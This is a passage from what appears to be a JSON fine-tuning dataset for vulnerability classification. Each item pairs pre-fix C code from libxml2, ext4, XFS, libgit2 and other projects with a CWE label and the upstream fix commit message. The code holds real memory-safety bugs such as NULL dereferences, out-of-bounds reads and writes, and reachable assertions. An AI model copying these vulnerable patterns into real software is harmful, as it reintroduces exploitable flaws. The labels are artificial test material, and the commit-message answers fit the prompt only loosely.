xmlXPathObjectCopy\n (oldlocset->locTab[i]));\n }\n\n /*\n * Cleanup\n */\n if (res != NULL) {\n\t\t\t xmlXPathReleaseObject(ctxt->context, res);\n\t\t\t}\n if (ctxt->value == tmp) {\n res = valuePop(ctxt);\n\t\t\t xmlXPathReleaseObject(ctxt->context, res);\n }\n }\n\n /*\n * The result is used as the new evaluation locset.\n */\n valuePush(ctxt, xmlXPtrWrapLocationSet(newlocset));\nfilter_xptr_error:\n\t\t xmlXPathReleaseObject(ctxt->context, obj);\n ctxt->context->node = oldnode;\n ctxt->context->contextSize = oldcs;\n ctxt->context->proximityPosition = oldpp;\n return (total);\n }\n#endif /* LIBXML_XPTR_ENABLED */\n\n /*\n * Extract the old set, and then evaluate the result of the\n * expression for all the element in the set. use it to grow\n * up a new set.\n */\n CHECK_TYPE0(XPATH_NODESET);\n\n if ((ctxt->value->nodesetval != NULL) &&\n (ctxt->value->nodesetval->nodeNr != 0)) {\n obj = valuePop(ctxt);\n oldset = obj->nodesetval;\n oldnode = ctxt->context->node;\n oldDoc = ctxt->context->doc;\n oldcs = ctxt->context->contextSize;\n oldpp = ctxt->context->proximityPosition;\n\t\t tmp = NULL;\n /*\n * Initialize the new set.\n\t\t * Also set the xpath document in case things like\n\t\t * key() evaluation are attempted on the predicate\n */\n newset = xmlXPathNodeSetCreate(NULL);\n\t\t /*\n\t\t * SPEC XPath 1.0:\n\t\t * \"For each node in the node-set to be filtered, the\n\t\t * PredicateExpr is evaluated with that node as the\n\t\t * context node, with the number of nodes in the\n\t\t * node-set as the context size, and with the proximity\n\t\t * position of the node in the node-set with respect to\n\t\t * the axis as the context position;\"\n\t\t * @oldset is the node-set\" to be filtered.\n\t\t *\n\t\t * SPEC XPath 1.0:\n\t\t * \"only predicates change the context position and\n\t\t * context size (see [2.4 Predicates]).\"\n\t\t * Example:\n\t\t * node-set context pos\n\t\t * nA 1\n\t\t * nB 2\n\t\t * nC 3\n\t\t * After applying predicate [position() > 1] :\n\t\t * node-set context pos\n\t\t * nB 1\n\t\t * nC 2\n\t\t *\n\t\t * removed the first node in the node-set, then\n\t\t * the context position of the\n\t\t */\n for (i = 0; i < oldset->nodeNr; i++) {\n /*\n * Run the evaluation with a node list made of\n * a single item in the nodeset.\n */\n ctxt->context->node = oldset->nodeTab[i];\n\t\t\tif ((oldset->nodeTab[i]->type != XML_NAMESPACE_DECL) &&\n\t\t\t (oldset->nodeTab[i]->doc != NULL))\n\t\t ctxt->context->doc = oldset->nodeTab[i]->doc;\n\t\t\tif (tmp == NULL) {\n\t\t\t tmp = xmlXPathCacheNewNodeSet(ctxt->context,\n\t\t\t\tctxt->context->node);\n\t\t\t} else {\n\t\t\t if (xmlXPathNodeSetAddUnique(tmp->nodesetval,\n\t\t\t\t ctxt->context->node) < 0) {\n\t\t\t\tctxt->error = XPATH_MEMORY_ERROR;\n\t\t\t }\n\t\t\t}\n valuePush(ctxt, tmp);\n ctxt->context->contextSize = oldset->nodeNr;\n ctxt->context->proximityPosition = i + 1;\n\t\t\t/*\n\t\t\t* Evaluate the predicate against the context node.\n\t\t\t* Can/should we optimize position() predicates\n\t\t\t* here (e.g. \"[1]\")?\n\t\t\t*/\n if (op->ch2 != -1)\n total +=\n xmlXPathCompOpEval(ctxt,\n &comp->steps[op->ch2]);\n\t\t\tif (ctxt->error != XPATH_EXPRESSION_OK) {\n\t\t\t xmlXPathFreeNodeSet(newset);\n goto filter_error;\n\t\t\t}\n\n /*\n * The result of the evaluation needs to be tested to\n * decide whether the filter succeeded or not\n */\n\t\t\t/*\n\t\t\t* OPTIMIZE TODO: Can we use\n\t\t\t* xmlXPathNodeSetAdd*Unique()* instead?\n\t\t\t*/\n res = valuePop(ctxt);\n if (xmlXPathEvaluatePredicateResult(ctxt, res)) {\n if (xmlXPathNodeSetAdd(newset, oldset->nodeTab[i])\n\t\t\t < 0)\n\t\t\t\tctxt->error = XPATH_MEMORY_ERROR;\n }\n\n /*\n * Cleanup\n */\n if (res != NULL) {\n\t\t\t xmlXPathReleaseObject(ctxt->context, res);\n\t\t\t}\n if (ctxt->value == tmp) {\n valuePop(ctxt);\n\t\t\t xmlXPathNodeSetClear(tmp->nodesetval, 1);\n\t\t\t /*\n\t\t\t * Don't free the temporary nodeset\n\t\t\t * in order to avoid massive recreation inside this\n\t\t\t * loop.\n\t\t\t */\n } else\n\t\t\t tmp = NULL;\n }\n\t\t if (tmp != NULL)\n\t\t\txmlXPathReleaseObject(ctxt->context, tmp);\n /*\n * The result is used as the new evaluation set.\n */\n\t\t valuePush(ctxt,\n\t\t\txmlXPathCacheWrapNodeSet(ctxt->context, newset));\nfilter_error:\n\t\t xmlXPathReleaseObject(ctxt->context, obj);\n\t\t ctxt->context->node = oldnode;\n\t\t ctxt->context->doc = oldDoc;\n ctxt->context->contextSize = oldcs;\n ctxt->context->proximityPosition = oldpp;\n }\n return (total);\n }\n case XPATH_OP_SORT:\n if (op->ch1 != -1)\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n if ((ctxt->value != NULL) &&\n (ctxt->value->type == XPATH_NODESET) &&\n (ctxt->value->nodesetval != NULL) &&\n\t\t(ctxt->value->nodesetval->nodeNr > 1))\n\t {\n xmlXPathNodeSetSort(ctxt->value->nodesetval);\n\t }\n return (total);\n#ifdef LIBXML_XPTR_ENABLED\n case XPATH_OP_RANGETO:{\n xmlXPathObjectPtr range;\n xmlXPathObjectPtr res, obj;\n xmlXPathObjectPtr tmp;\n xmlLocationSetPtr newlocset = NULL;\n\t\t xmlLocationSetPtr oldlocset;\n xmlNodeSetPtr oldset;\n xmlNodePtr oldnode = ctxt->context->node;\n int oldcs = ctxt->context->contextSize;\n int oldpp = ctxt->context->proximityPosition;\n int i, j;\n\n if (op->ch1 != -1) {\n total +=\n xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n CHECK_ERROR0;\n }\n if (ctxt->value == NULL) {\n XP_ERROR0(XPATH_INVALID_OPERAND);\n }\n if (op->ch2 == -1)\n return (total);\n\n if (ctxt->value->type == XPATH_LOCATIONSET) {\n /*\n * Extract the old locset, and then evaluate the result of the\n * expression for all the element in the locset. use it to grow\n * up a new locset.\n */\n CHECK_TYPE0(XPATH_LOCATIONSET);\n\n if ((ctxt->value->user == NULL) ||\n (((xmlLocationSetPtr) ctxt->value->user)->locNr == 0))\n return (total);\n\n obj = valuePop(ctxt);\n oldlocset = obj->user;\n\n newlocset = xmlXPtrLocationSetCreate(NULL);\n\n for (i = 0; i < oldlocset->locNr; i++) {\n /*\n * Run the evaluation with a node list made of a\n * single item in the nodelocset.\n */\n ctxt->context->node = oldlocset->locTab[i]->user;\n ctxt->context->contextSize = oldlocset->locNr;\n ctxt->context->proximityPosition = i + 1;\n\t\t\ttmp = xmlXPathCacheNewNodeSet(ctxt->context,\n\t\t\t ctxt->context->node);\n valuePush(ctxt, tmp);\n\n if (op->ch2 != -1)\n total +=\n xmlXPathCompOpEval(ctxt,\n &comp->steps[op->ch2]);\n\t\t\tif (ctxt->error != XPATH_EXPRESSION_OK) {\n xmlXPtrFreeLocationSet(newlocset);\n goto rangeto_error;\n\t\t\t}\n\n res = valuePop(ctxt);\n\t\t\tif (res->type == XPATH_LOCATIONSET) {\n\t\t\t xmlLocationSetPtr rloc =\n\t\t\t (xmlLocationSetPtr)res->user;\n\t\t\t for (j=0; jlocNr; j++) {\n\t\t\t range = xmlXPtrNewRange(\n\t\t\t\t oldlocset->locTab[i]->user,\n\t\t\t\t oldlocset->locTab[i]->index,\n\t\t\t\t rloc->locTab[j]->user2,\n\t\t\t\t rloc->locTab[j]->index2);\n\t\t\t\tif (range != NULL) {\n\t\t\t\t xmlXPtrLocationSetAdd(newlocset, range);\n\t\t\t\t}\n\t\t\t }\n\t\t\t} else {\n\t\t\t range = xmlXPtrNewRangeNodeObject(\n\t\t\t\t(xmlNodePtr)oldlocset->locTab[i]->user, res);\n if (range != NULL) {\n xmlXPtrLocationSetAdd(newlocset,range);\n\t\t\t }\n }\n\n /*\n * Cleanup\n */\n if (res != NULL) {\n\t\t\t xmlXPathReleaseObject(ctxt->context, res);\n\t\t\t}\n if (ctxt->value == tmp) {\n res = valuePop(ctxt);\n\t\t\t xmlXPathReleaseObject(ctxt->context, res);\n }\n }\n\t\t} else {\t/* Not a location set */\n CHECK_TYPE0(XPATH_NODESET);\n obj = valuePop(ctxt);\n oldset = obj->nodesetval;\n\n newlocset = xmlXPtrLocationSetCreate(NULL);\n\n if (oldset != NULL) {\n for (i = 0; i < oldset->nodeNr; i++) {\n /*\n * Run the evaluation with a node list made of a single item\n * in the nodeset.\n */\n ctxt->context->node = oldset->nodeTab[i];\n\t\t\t /*\n\t\t\t * OPTIMIZE TODO: Avoid recreation for every iteration.\n\t\t\t */\n\t\t\t tmp = xmlXPathCacheNewNodeSet(ctxt->context,\n\t\t\t\tctxt->context->node);\n valuePush(ctxt, tmp);\n\n if (op->ch2 != -1)\n total +=\n xmlXPathCompOpEval(ctxt,\n &comp->steps[op->ch2]);\n\t\t\t if (ctxt->error != XPATH_EXPRESSION_OK) {\n xmlXPtrFreeLocationSet(newlocset);\n goto rangeto_error;\n\t\t\t }\n\n res = valuePop(ctxt);\n range =\n xmlXPtrNewRangeNodeObject(oldset->nodeTab[i],\n res);\n if (range != NULL) {\n xmlXPtrLocationSetAdd(newlocset, range);\n }\n\n /*\n * Cleanup\n */\n if (res != NULL) {\n\t\t\t\txmlXPathReleaseObject(ctxt->context, res);\n\t\t\t }\n if (ctxt->value == tmp) {\n res = valuePop(ctxt);\n\t\t\t\txmlXPathReleaseObject(ctxt->context, res);\n }\n }\n }\n }\n\n /*\n * The result is used as the new evaluation set.\n */\n valuePush(ctxt, xmlXPtrWrapLocationSet(newlocset));\nrangeto_error:\n\t\txmlXPathReleaseObject(ctxt->context, obj);\n ctxt->context->node = oldnode;\n ctxt->context->contextSize = oldcs;\n ctxt->context->proximityPosition = oldpp;\n return (total);\n }\n#endif /* LIBXML_XPTR_ENABLED */\n }\n xmlGenericError(xmlGenericErrorContext,\n \"XPath: unknown precompiled operation %d\\n\", op->op);\n ctxt->error = XPATH_INVALID_OPERAND; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix nullptr deref with XPath logic ops\n\nIf the XPath stack is corrupted, for example by a misbehaving extension\nfunction, the \"and\" and \"or\" XPath operators could dereference NULL\npointers. Check that the XPath stack isn't empty and optimize the\nlogic operators slightly.\n\nCloses: https://gitlab.gnome.org/GNOME/libxml2/issues/5\n\nAlso see\nhttps://bugs.debian.org/cgi-bin/bugreport.cgi?bug=901817\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1595985\n\nThis is CVE-2018-14404.\n\nThanks to Guy Inbar for the report.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ext4_check_descriptors(struct super_block *sb,\n\t\t\t\t ext4_fsblk_t sb_block,\n\t\t\t\t ext4_group_t *first_not_zeroed)\n{\n\tstruct ext4_sb_info *sbi = EXT4_SB(sb);\n\text4_fsblk_t first_block = le32_to_cpu(sbi->s_es->s_first_data_block);\n\text4_fsblk_t last_block;\n\text4_fsblk_t block_bitmap;\n\text4_fsblk_t inode_bitmap;\n\text4_fsblk_t inode_table;\n\tint flexbg_flag = 0;\n\text4_group_t i, grp = sbi->s_groups_count;\n\n\tif (ext4_has_feature_flex_bg(sb))\n\t\tflexbg_flag = 1;\n\n\text4_debug(\"Checking group descriptors\");\n\n\tfor (i = 0; i < sbi->s_groups_count; i++) {\n\t\tstruct ext4_group_desc *gdp = ext4_get_group_desc(sb, i, NULL);\n\n\t\tif (i == sbi->s_groups_count - 1 || flexbg_flag)\n\t\t\tlast_block = ext4_blocks_count(sbi->s_es) - 1;\n\t\telse\n\t\t\tlast_block = first_block +\n\t\t\t\t(EXT4_BLOCKS_PER_GROUP(sb) - 1);\n\n\t\tif ((grp == sbi->s_groups_count) &&\n\t\t !(gdp->bg_flags & cpu_to_le16(EXT4_BG_INODE_ZEROED)))\n\t\t\tgrp = i;\n\n\t\tblock_bitmap = ext4_block_bitmap(sb, gdp);\n\t\tif (block_bitmap == sb_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t\t \"Block bitmap for group %u overlaps \"\n\t\t\t\t \"superblock\", i);\n\t\t\tif (!sb_rdonly(sb))\n\t\t\t\treturn 0;\n\t\t}\n\t\tif (block_bitmap < first_block || block_bitmap > last_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t \"Block bitmap for group %u not in group \"\n\t\t\t \"(block %llu)!\", i, block_bitmap);\n\t\t\treturn 0;\n\t\t}\n\t\tinode_bitmap = ext4_inode_bitmap(sb, gdp);\n\t\tif (inode_bitmap == sb_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t\t \"Inode bitmap for group %u overlaps \"\n\t\t\t\t \"superblock\", i);\n\t\t\tif (!sb_rdonly(sb))\n\t\t\t\treturn 0;\n\t\t}\n\t\tif (inode_bitmap < first_block || inode_bitmap > last_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t \"Inode bitmap for group %u not in group \"\n\t\t\t \"(block %llu)!\", i, inode_bitmap);\n\t\t\treturn 0;\n\t\t}\n\t\tinode_table = ext4_inode_table(sb, gdp);\n\t\tif (inode_table == sb_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t\t \"Inode table for group %u overlaps \"\n\t\t\t\t \"superblock\", i);\n\t\t\tif (!sb_rdonly(sb))\n\t\t\t\treturn 0;\n\t\t}\n\t\tif (inode_table < first_block ||\n\t\t inode_table + sbi->s_itb_per_group - 1 > last_block) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t \"Inode table for group %u not in group \"\n\t\t\t \"(block %llu)!\", i, inode_table);\n\t\t\treturn 0;\n\t\t}\n\t\text4_lock_group(sb, i);\n\t\tif (!ext4_group_desc_csum_verify(sb, i, gdp)) {\n\t\t\text4_msg(sb, KERN_ERR, \"ext4_check_descriptors: \"\n\t\t\t\t \"Checksum for group %u failed (%u!=%u)\",\n\t\t\t\t i, le16_to_cpu(ext4_group_desc_csum(sb, i,\n\t\t\t\t gdp)), le16_to_cpu(gdp->bg_checksum));\n\t\t\tif (!sb_rdonly(sb)) {\n\t\t\t\text4_unlock_group(sb, i);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\text4_unlock_group(sb, i);\n\t\tif (!flexbg_flag)\n\t\t\tfirst_block += EXT4_BLOCKS_PER_GROUP(sb);\n\t}\n\tif (NULL != first_not_zeroed)\n\t\t*first_not_zeroed = grp;\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'ext4: make sure bitmaps and the inode table don't overlap with bg descriptors\n\nIt's really bad when the allocation bitmaps and the inode table\noverlap with the block group descriptors, since it causes random\ncorruption of the bg descriptors. So we really want to head those off\nat the pass.\n\nhttps://bugzilla.kernel.org/show_bug.cgi?id=199865\n\nSigned-off-by: Theodore Ts'o \nCc: stable@kernel.org'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ext4_da_write_inline_data_begin(struct address_space *mapping,\n\t\t\t\t struct inode *inode,\n\t\t\t\t loff_t pos, unsigned len,\n\t\t\t\t unsigned flags,\n\t\t\t\t struct page **pagep,\n\t\t\t\t void **fsdata)\n{\n\tint ret, inline_size;\n\thandle_t *handle;\n\tstruct page *page;\n\tstruct ext4_iloc iloc;\n\tint retries;\n\n\tret = ext4_get_inode_loc(inode, &iloc);\n\tif (ret)\n\t\treturn ret;\n\nretry_journal:\n\thandle = ext4_journal_start(inode, EXT4_HT_INODE, 1);\n\tif (IS_ERR(handle)) {\n\t\tret = PTR_ERR(handle);\n\t\tgoto out;\n\t}\n\n\tinline_size = ext4_get_max_inline_size(inode);\n\n\tret = -ENOSPC;\n\tif (inline_size >= pos + len) {\n\t\tret = ext4_prepare_inline_data(handle, inode, pos + len);\n\t\tif (ret && ret != -ENOSPC)\n\t\t\tgoto out_journal;\n\t}\n\n\t/*\n\t * We cannot recurse into the filesystem as the transaction\n\t * is already started.\n\t */\n\tflags |= AOP_FLAG_NOFS;\n\n\tif (ret == -ENOSPC) {\n\t\tret = ext4_da_convert_inline_data_to_extent(mapping,\n\t\t\t\t\t\t\t inode,\n\t\t\t\t\t\t\t flags,\n\t\t\t\t\t\t\t fsdata);\n\t\text4_journal_stop(handle);\n\t\tif (ret == -ENOSPC &&\n\t\t ext4_should_retry_alloc(inode->i_sb, &retries))\n\t\t\tgoto retry_journal;\n\t\tgoto out;\n\t}\n\n\n\tpage = grab_cache_page_write_begin(mapping, 0, flags);\n\tif (!page) {\n\t\tret = -ENOMEM;\n\t\tgoto out_journal;\n\t}\n\n\tdown_read(&EXT4_I(inode)->xattr_sem);\n\tif (!ext4_has_inline_data(inode)) {\n\t\tret = 0;\n\t\tgoto out_release_page;\n\t}\n\n\tif (!PageUptodate(page)) {\n\t\tret = ext4_read_inline_page(inode, page);\n\t\tif (ret < 0)\n\t\t\tgoto out_release_page;\n\t}\n\n\tup_read(&EXT4_I(inode)->xattr_sem);\n\t*pagep = page;\n\tbrelse(iloc.bh);\n\treturn 1;\nout_release_page:\n\tup_read(&EXT4_I(inode)->xattr_sem);\n\tunlock_page(page);\n\tput_page(page);\nout_journal:\n\text4_journal_stop(handle);\nout:\n\tbrelse(iloc.bh);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'ext4: avoid running out of journal credits when appending to an inline file\n\nUse a separate journal transaction if it turns out that we need to\nconvert an inline file to use an data block. Otherwise we could end\nup failing due to not having journal credits.\n\nThis addresses CVE-2018-10883.\n\nhttps://bugzilla.kernel.org/show_bug.cgi?id=200071\n\nSigned-off-by: Theodore Ts'o \nCc: stable@kernel.org'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \tint\t\t\tlock_flags) __releases(RCU)\n{\n\tstruct inode\t\t*inode = VFS_I(ip);\n\tstruct xfs_mount\t*mp = ip->i_mount;\n\tint\t\t\terror;\n\n\t/*\n\t * check for re-use of an inode within an RCU grace period due to the\n\t * radix tree nodes not being updated yet. We monitor for this by\n\t * setting the inode number to zero before freeing the inode structure.\n\t * If the inode has been reallocated and set up, then the inode number\n\t * will not match, so check for that, too.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tif (ip->i_ino != ino) {\n\t\ttrace_xfs_iget_skip(ip);\n\t\tXFS_STATS_INC(mp, xs_ig_frecycle);\n\t\terror = -EAGAIN;\n\t\tgoto out_error;\n\t}\n\n\n\t/*\n\t * If we are racing with another cache hit that is currently\n\t * instantiating this inode or currently recycling it out of\n\t * reclaimabe state, wait for the initialisation to complete\n\t * before continuing.\n\t *\n\t * XXX(hch): eventually we should do something equivalent to\n\t *\t wait_on_inode to wait for these flags to be cleared\n\t *\t instead of polling for it.\n\t */\n\tif (ip->i_flags & (XFS_INEW|XFS_IRECLAIM)) {\n\t\ttrace_xfs_iget_skip(ip);\n\t\tXFS_STATS_INC(mp, xs_ig_frecycle);\n\t\terror = -EAGAIN;\n\t\tgoto out_error;\n\t}\n\n\t/*\n\t * If lookup is racing with unlink return an error immediately.\n\t */\n\tif (VFS_I(ip)->i_mode == 0 && !(flags & XFS_IGET_CREATE)) {\n\t\terror = -ENOENT;\n\t\tgoto out_error;\n\t}\n\n\t/*\n\t * If IRECLAIMABLE is set, we've torn down the VFS inode already.\n\t * Need to carefully get it back into useable state.\n\t */\n\tif (ip->i_flags & XFS_IRECLAIMABLE) {\n\t\ttrace_xfs_iget_reclaim(ip);\n\n\t\tif (flags & XFS_IGET_INCORE) {\n\t\t\terror = -EAGAIN;\n\t\t\tgoto out_error;\n\t\t}\n\n\t\t/*\n\t\t * We need to set XFS_IRECLAIM to prevent xfs_reclaim_inode\n\t\t * from stomping over us while we recycle the inode. We can't\n\t\t * clear the radix tree reclaimable tag yet as it requires\n\t\t * pag_ici_lock to be held exclusive.\n\t\t */\n\t\tip->i_flags |= XFS_IRECLAIM;\n\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\trcu_read_unlock();\n\n\t\terror = xfs_reinit_inode(mp, inode);\n\t\tif (error) {\n\t\t\tbool wake;\n\t\t\t/*\n\t\t\t * Re-initializing the inode failed, and we are in deep\n\t\t\t * trouble. Try to re-add it to the reclaim list.\n\t\t\t */\n\t\t\trcu_read_lock();\n\t\t\tspin_lock(&ip->i_flags_lock);\n\t\t\twake = !!__xfs_iflags_test(ip, XFS_INEW);\n\t\t\tip->i_flags &= ~(XFS_INEW | XFS_IRECLAIM);\n\t\t\tif (wake)\n\t\t\t\twake_up_bit(&ip->i_flags, __XFS_INEW_BIT);\n\t\t\tASSERT(ip->i_flags & XFS_IRECLAIMABLE);\n\t\t\ttrace_xfs_iget_reclaim_fail(ip);\n\t\t\tgoto out_error;\n\t\t}\n\n\t\tspin_lock(&pag->pag_ici_lock);\n\t\tspin_lock(&ip->i_flags_lock);\n\n\t\t/*\n\t\t * Clear the per-lifetime state in the inode as we are now\n\t\t * effectively a new inode and need to return to the initial\n\t\t * state before reuse occurs.\n\t\t */\n\t\tip->i_flags &= ~XFS_IRECLAIM_RESET_FLAGS;\n\t\tip->i_flags |= XFS_INEW;\n\t\txfs_inode_clear_reclaim_tag(pag, ip->i_ino);\n\t\tinode->i_state = I_NEW;\n\n\t\tASSERT(!rwsem_is_locked(&inode->i_rwsem));\n\t\tinit_rwsem(&inode->i_rwsem);\n\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\tspin_unlock(&pag->pag_ici_lock);\n\t} else {\n\t\t/* If the VFS inode is being torn down, pause and try again. */\n\t\tif (!igrab(inode)) {\n\t\t\ttrace_xfs_iget_skip(ip);\n\t\t\terror = -EAGAIN;\n\t\t\tgoto out_error;\n\t\t}\n\n\t\t/* We've got a live one. */\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\trcu_read_unlock();\n\t\ttrace_xfs_iget_hit(ip);\n\t}\n\n\tif (lock_flags != 0)\n\t\txfs_ilock(ip, lock_flags);\n\n\tif (!(flags & XFS_IGET_INCORE))\n\t\txfs_iflags_clear(ip, XFS_ISTALE | XFS_IDONTCACHE);\n\tXFS_STATS_INC(mp, xs_ig_found);\n\n\treturn 0;\n\nout_error:\n\tspin_unlock(&ip->i_flags_lock);\n\trcu_read_unlock();\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'xfs: validate cached inodes are free when allocated\n\nA recent fuzzed filesystem image cached random dcache corruption\nwhen the reproducer was run. This often showed up as panics in\nlookup_slow() on a null inode->i_ops pointer when doing pathwalks.\n\nBUG: unable to handle kernel NULL pointer dereference at 0000000000000000\n....\nCall Trace:\n lookup_slow+0x44/0x60\n walk_component+0x3dd/0x9f0\n link_path_walk+0x4a7/0x830\n path_lookupat+0xc1/0x470\n filename_lookup+0x129/0x270\n user_path_at_empty+0x36/0x40\n path_listxattr+0x98/0x110\n SyS_listxattr+0x13/0x20\n do_syscall_64+0xf5/0x280\n entry_SYSCALL_64_after_hwframe+0x42/0xb7\n\nbut had many different failure modes including deadlocks trying to\nlock the inode that was just allocated or KASAN reports of\nuse-after-free violations.\n\nThe cause of the problem was a corrupt INOBT on a v4 fs where the\nroot inode was marked as free in the inobt record. Hence when we\nallocated an inode, it chose the root inode to allocate, found it in\nthe cache and re-initialised it.\n\nWe recently fixed a similar inode allocation issue caused by inobt\nrecord corruption problem in xfs_iget_cache_miss() in commit\nee457001ed6c (\"xfs: catch inode allocation state mismatch\ncorruption\"). This change adds similar checks to the cache-hit path\nto catch it, and turns the reproducer into a corruption shutdown\nsituation.\n\nReported-by: Wen Xu \nSigned-Off-By: Dave Chinner \nReviewed-by: Christoph Hellwig \nReviewed-by: Carlos Maiolino \nReviewed-by: Darrick J. Wong \n[darrick: fix typos in comment]\nSigned-off-by: Darrick J. Wong '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int git_delta_apply(\n\tvoid **out,\n\tsize_t *out_len,\n\tconst unsigned char *base,\n\tsize_t base_len,\n\tconst unsigned char *delta,\n\tsize_t delta_len)\n{\n\tconst unsigned char *delta_end = delta + delta_len;\n\tsize_t base_sz, res_sz, alloc_sz;\n\tunsigned char *res_dp;\n\n\t*out = NULL;\n\t*out_len = 0;\n\n\t/*\n\t * Check that the base size matches the data we were given;\n\t * if not we would underflow while accessing data from the\n\t * base object, resulting in data corruption or segfault.\n\t */\n\tif ((hdr_sz(&base_sz, &delta, delta_end) < 0) || (base_sz != base_len)) {\n\t\tgiterr_set(GITERR_INVALID, \"failed to apply delta: base size does not match given data\");\n\t\treturn -1;\n\t}\n\n\tif (hdr_sz(&res_sz, &delta, delta_end) < 0) {\n\t\tgiterr_set(GITERR_INVALID, \"failed to apply delta: base size does not match given data\");\n\t\treturn -1;\n\t}\n\n\tGITERR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1);\n\tres_dp = git__malloc(alloc_sz);\n\tGITERR_CHECK_ALLOC(res_dp);\n\n\tres_dp[res_sz] = '\\0';\n\t*out = res_dp;\n\t*out_len = res_sz;\n\n\twhile (delta < delta_end) {\n\t\tunsigned char cmd = *delta++;\n\t\tif (cmd & 0x80) {\n\t\t\t/* cmd is a copy instruction; copy from the base. */\n\t\t\tsize_t off = 0, len = 0;\n\n\t\t\tif (cmd & 0x01) off = *delta++;\n\t\t\tif (cmd & 0x02) off |= *delta++ << 8UL;\n\t\t\tif (cmd & 0x04) off |= *delta++ << 16UL;\n\t\t\tif (cmd & 0x08) off |= ((unsigned) *delta++ << 24UL);\n\n\t\t\tif (cmd & 0x10) len = *delta++;\n\t\t\tif (cmd & 0x20) len |= *delta++ << 8UL;\n\t\t\tif (cmd & 0x40) len |= *delta++ << 16UL;\n\t\t\tif (!len) len = 0x10000;\n\n\t\t\tif (base_len < off + len || res_sz < len)\n\t\t\t\tgoto fail;\n\t\t\tmemcpy(res_dp, base + off, len);\n\t\t\tres_dp += len;\n\t\t\tres_sz -= len;\n\n\t\t} else if (cmd) {\n\t\t\t/*\n\t\t\t * cmd is a literal insert instruction; copy from\n\t\t\t * the delta stream itself.\n\t\t\t */\n\t\t\tif (delta_end - delta < cmd || res_sz < cmd)\n\t\t\t\tgoto fail;\n\t\t\tmemcpy(res_dp, delta, cmd);\n\t\t\tdelta += cmd;\n\t\t\tres_dp += cmd;\n\t\t\tres_sz -= cmd;\n\n\t\t} else {\n\t\t\t/* cmd == 0 is reserved for future encodings. */\n\t\t\tgoto fail;\n\t\t}\n\t}\n\n\tif (delta != delta_end || res_sz)\n\t\tgoto fail;\n\treturn 0;\n\nfail:\n\tgit__free(*out);\n\n\t*out = NULL;\n\t*out_len = 0;\n\n\tgiterr_set(GITERR_INVALID, \"failed to apply delta\");\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'delta: fix out-of-bounds read of delta\n\nWhen computing the offset and length of the delta base, we repeatedly\nincrement the `delta` pointer without checking whether we have advanced\npast its end already, which can thus result in an out-of-bounds read.\nFix this by repeatedly checking whether we have reached the end. Add a\ntest which would cause Valgrind to produce an error.\n\nReported-by: Riccardo Schirone \nTest-provided-by: Riccardo Schirone '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void TDStretch::setChannels(int numChannels)\r\n{\r\n assert(numChannels > 0);\r\n if (channels == numChannels) return;\r\n// assert(numChannels == 1 || numChannels == 2);\r\n\r\n channels = numChannels;\r\n inputBuffer.setChannels(channels);\r\n outputBuffer.setChannels(channels);\r\n\r\n // re-init overlap/buffer\r\n overlapLength=0;\r\n setParameters(sampleRate);\r\n}\r ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'Replaced illegal-number-of-channel assertions with run-time exception'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int msg_cache_check (const char *id, body_cache_t *bcache, void *data)\n{\n CONTEXT *ctx;\n POP_DATA *pop_data;\n int i;\n\n if (!(ctx = (CONTEXT *)data))\n return -1;\n if (!(pop_data = (POP_DATA *)ctx->data))\n return -1;\n\n#ifdef USE_HCACHE\n /* keep hcache file if hcache == bcache */\n if (strcmp (HC_FNAME \".\" HC_FEXT, id) == 0)\n return 0;\n#endif\n\n for (i = 0; i < ctx->msgcount; i++)\n /* if the id we get is known for a 